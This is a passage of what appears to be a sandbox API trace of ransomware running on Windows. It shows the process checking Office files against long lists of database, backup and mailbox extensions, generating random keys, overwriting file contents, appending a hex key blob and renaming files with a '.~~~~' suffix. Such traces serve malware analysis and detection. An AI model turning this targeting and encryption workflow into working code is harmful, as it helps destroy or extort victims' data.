	[0134.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0134.508] lstrlenW (lpString=".ckp") returned 4
	[0134.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".ckp") returned 0x0
	[0134.508] lstrlenW (lpString=".dbt") returned 4
	[0134.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".dbt") returned 0x0
	[0134.508] lstrlenW (lpString=".db") returned 3
	[0134.508] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".db") returned 0x0
	[0134.509] lstrlenW (lpString=".TXT") returned 4
	[0134.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".TXT") returned 0x0
	[0134.509] lstrlenW (lpString=".MDF") returned 4
	[0134.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".MDF") returned 0x0
	[0134.509] lstrlenW (lpString=".bdb") returned 4
	[0134.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".bdb") returned 0x0
	[0134.509] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0134.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.509] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0fb0) returned 1
	[0134.510] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.510] CryptReleaseContext (hProv=0x3a0fb0, dwFlags=0x0) returned 1
	[0134.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0134.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0134.510] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25450056072) returned 1
	[0134.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb99cefb0, dwHighDateTime=0x1d60e1e)) 
	[0134.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0134.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0134.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0134.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cf18
	[0134.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cf18 | out: hHeap=0x300000) returned 1
	[0134.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8db0
	[0134.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.511] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0134.512] GetLastError () returned 0x0
	[0134.512] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0134.512] GetLastError () returned 0x0
	[0134.513] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffff2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.513] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0xd1, lpOverlapped=0x0) returned 1
	[0134.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.514] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.514] WriteFile (in: hFile=0x104, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.514] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.514] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.514] CloseHandle (hObject=0x104) returned 1
	[0134.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0134.514] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.~~~~")) returned 1
	[0134.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0134.517] GetLastError () returned 0x0
	[0134.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".scr") returned 0x0
	[0134.517] lstrlenW (lpString=".cmd") returned 4
	[0134.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".cmd") returned 0x0
	[0134.517] lstrlenW (lpString=".dll") returned 4
	[0134.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".dll") returned 0x0
	[0134.517] lstrlenW (lpString=".bat") returned 4
	[0134.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".bat") returned 0x0
	[0134.517] lstrlenW (lpString=".cpl") returned 4
	[0134.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".cpl") returned 0x0
	[0134.517] lstrlenW (lpString=".sys") returned 4
	[0134.517] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".sys") returned 0x0
	[0134.518] lstrlenW (lpString=".msc") returned 4
	[0134.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".msc") returned 0x0
	[0134.518] lstrlenW (lpString=".com") returned 4
	[0134.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".com") returned 0x0
	[0134.518] lstrlenW (lpString=".lnk") returned 4
	[0134.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".lnk") returned 0x0
	[0134.518] lstrlenW (lpString=".msp") returned 4
	[0134.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".msp") returned 0x0
	[0134.518] lstrlenW (lpString=".pif") returned 4
	[0134.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".pif") returned 0x0
	[0134.518] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.518] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0134.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0134.520] lstrlenW (lpString=".sqb") returned 4
	[0134.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".sqb") returned 0x0
	[0134.520] lstrlenW (lpString=".ost") returned 4
	[0134.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".ost") returned 0x0
	[0134.520] lstrlenW (lpString=".txt") returned 4
	[0134.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".txt") returned 0x0
	[0134.520] lstrlenW (lpString=".mdt") returned 4
	[0134.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".mdt") returned 0x0
	[0134.520] lstrlenW (lpString=".BDB") returned 4
	[0134.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".BDB") returned 0x0
	[0134.520] lstrlenW (lpString=".eql") returned 4
	[0134.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".eql") returned 0x0
	[0134.520] lstrlenW (lpString=".DBF") returned 4
	[0134.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".DBF") returned 0x0
	[0134.520] lstrlenW (lpString=".EQL") returned 4
	[0134.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".EQL") returned 0x0
	[0134.520] lstrlenW (lpString=".FDB") returned 4
	[0134.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".FDB") returned 0x0
	[0134.520] lstrlenW (lpString=".EDB") returned 4
	[0134.520] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".EDB") returned 0x0
	[0134.520] lstrlenW (lpString=".DACPAC") returned 7
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0134.521] lstrlenW (lpString=".VHD") returned 4
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".VHD") returned 0x0
	[0134.521] lstrlenW (lpString=".DBV") returned 4
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".DBV") returned 0x0
	[0134.521] lstrlenW (lpString=".dacpac") returned 7
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0134.521] lstrlenW (lpString=".sdf") returned 4
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".sdf") returned 0x0
	[0134.521] lstrlenW (lpString=".accdb") returned 6
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".accdb") returned 0x0
	[0134.521] lstrlenW (lpString=".DBX") returned 4
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".DBX") returned 0x0
	[0134.521] lstrlenW (lpString=".MDT") returned 4
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".MDT") returned 0x0
	[0134.521] lstrlenW (lpString=".SQB") returned 4
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".SQB") returned 0x0
	[0134.521] lstrlenW (lpString=".vhd") returned 4
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".vhd") returned 0x0
	[0134.521] lstrlenW (lpString=".bac") returned 4
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".bac") returned 0x0
	[0134.521] lstrlenW (lpString=".mdf") returned 4
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".mdf") returned 0x0
	[0134.521] lstrlenW (lpString=".BAK") returned 4
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".BAK") returned 0x0
	[0134.521] lstrlenW (lpString=".BAC") returned 4
	[0134.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".BAC") returned 0x0
	[0134.522] lstrlenW (lpString=".dbs") returned 4
	[0134.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".dbs") returned 0x0
	[0134.522] lstrlenW (lpString=".vhdx") returned 5
	[0134.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0134.522] lstrlenW (lpString=".NDF") returned 4
	[0134.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".NDF") returned 0x0
	[0134.522] lstrlenW (lpString=".dat") returned 4
	[0134.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".dat") returned 0x0
	[0134.522] lstrlenW (lpString=".DBS") returned 4
	[0134.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".DBS") returned 0x0
	[0134.522] lstrlenW (lpString=".CKP") returned 4
	[0134.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".CKP") returned 0x0
	[0134.522] lstrlenW (lpString=".edb") returned 4
	[0134.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".edb") returned 0x0
	[0134.522] lstrlenW (lpString=".PST") returned 4
	[0134.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".PST") returned 0x0
	[0134.522] lstrlenW (lpString=".dbf") returned 4
	[0134.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".dbf") returned 0x0
	[0134.522] lstrlenW (lpString=".SQL") returned 4
	[0134.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".SQL") returned 0x0
	[0134.522] lstrlenW (lpString=".pst") returned 4
	[0134.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".pst") returned 0x0
	[0134.522] lstrlenW (lpString=".dbv") returned 4
	[0134.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".dbv") returned 0x0
	[0134.522] lstrlenW (lpString=".SDF") returned 4
	[0134.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".SDF") returned 0x0
	[0134.522] lstrlenW (lpString=".dtxs") returned 5
	[0134.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".dtxs") returned 0x0
	[0134.523] lstrlenW (lpString=".db3") returned 4
	[0134.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".db3") returned 0x0
	[0134.523] lstrlenW (lpString=".OST") returned 4
	[0134.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".OST") returned 0x0
	[0134.523] lstrlenW (lpString=".dbx") returned 4
	[0134.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".dbx") returned 0x0
	[0134.523] lstrlenW (lpString=".DB3") returned 4
	[0134.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".DB3") returned 0x0
	[0134.523] lstrlenW (lpString=".DAT") returned 4
	[0134.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".DAT") returned 0x0
	[0134.523] lstrlenW (lpString=".VHDX") returned 5
	[0134.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0134.523] lstrlenW (lpString=".ndf") returned 4
	[0134.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".ndf") returned 0x0
	[0134.523] lstrlenW (lpString=".DB") returned 3
	[0134.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".DB") returned 0x0
	[0134.523] lstrlenW (lpString=".sql") returned 4
	[0134.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".sql") returned 0x0
	[0134.523] lstrlenW (lpString=".MYD") returned 4
	[0134.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".MYD") returned 0x0
	[0134.523] lstrlenW (lpString=".DBT") returned 4
	[0134.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".DBT") returned 0x0
	[0134.523] lstrlenW (lpString=".ACCDB") returned 6
	[0134.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0134.523] lstrlenW (lpString=".fdb") returned 4
	[0134.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".fdb") returned 0x0
	[0134.524] lstrlenW (lpString=".bak") returned 4
	[0134.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".bak") returned 0x0
	[0134.524] lstrlenW (lpString=".myd") returned 4
	[0134.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".myd") returned 0x0
	[0134.524] lstrlenW (lpString=".DTXS") returned 5
	[0134.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0134.524] lstrlenW (lpString=".ckp") returned 4
	[0134.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".ckp") returned 0x0
	[0134.524] lstrlenW (lpString=".dbt") returned 4
	[0134.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".dbt") returned 0x0
	[0134.524] lstrlenW (lpString=".db") returned 3
	[0134.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".db") returned 0x0
	[0134.524] lstrlenW (lpString=".TXT") returned 4
	[0134.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".TXT") returned 0x0
	[0134.524] lstrlenW (lpString=".MDF") returned 4
	[0134.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".MDF") returned 0x0
	[0134.524] lstrlenW (lpString=".bdb") returned 4
	[0134.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".bdb") returned 0x0
	[0134.524] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0134.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.524] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0fb0) returned 1
	[0134.525] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.525] CryptReleaseContext (hProv=0x3a0fb0, dwFlags=0x0) returned 1
	[0134.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0134.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0134.526] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25451588086) returned 1
	[0134.526] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb99f5110, dwHighDateTime=0x1d60e1e)) 
	[0134.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0134.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0134.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0134.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cee0
	[0134.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cee0 | out: hHeap=0x300000) returned 1
	[0134.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.526] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a72f8
	[0134.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.527] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0134.527] GetLastError () returned 0x0
	[0134.527] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0134.527] GetLastError () returned 0x0
	[0134.580] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffff8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.580] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x72, lpOverlapped=0x0) returned 1
